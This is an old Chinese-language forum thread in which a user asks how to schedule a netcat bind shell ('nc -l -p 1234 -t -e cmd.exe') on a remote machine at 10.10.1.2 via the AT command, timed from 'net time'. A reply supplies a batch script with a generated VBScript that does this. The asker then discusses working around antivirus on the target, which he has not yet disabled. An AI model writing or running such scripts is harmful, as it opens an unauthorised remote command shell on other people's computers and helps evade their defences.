Board logo

标题: 如何把NET TIME的时间自动给AT使用 [打印本页]

作者: xuehaiwuya     时间: 2008-4-21 08:25    标题: 如何把NET TIME的时间自动给AT使用

如何把NET TIME的时间自动给AT使用
a:   net time \\10.10.1.2

b:   at \\10.10.1.2 时间 nc -l -p 1234 -t -e cmd.exe

要实现
a中取得的时间自动增加 三秒钟=b中的时间

就是这两句BAT要如何修改
作者: fastslz     时间: 2008-4-21 14:19

@echo off
for /f  "tokens=" %%i in ('net time \\10.10.1.2') do set NetTime=%%i
>tmp.vbs echo Wscript.echo FormatDateTime (DateAdd("s",3,"%NetTime%"),0)
for /f "delims=" %%i in ('cscript.exe //nologo tmp.vbs') do set aTime=%%i
del tmp.vbs
at \\10.10.1.2 "%aTime%" nc -l -p 1234 -t -e cmd.exe
pause
未测试
作者: xuehaiwuya     时间: 2008-4-21 16:46
我想在这一步暂时还没有关掉那台电脑的杀毒软件,应当不能用VBS
作者: xuehaiwuya     时间: 2008-4-21 17:02
tmp.vbs(1,1) microsoft VBScript 运行时错误: 类型不匹配: '[string: ""]'
作者: xuehaiwuya     时间: 2008-4-21 17:03
最好不用VBS
一是那台电脑肯定有杀软
二是有可能那台电脑禁用了VBS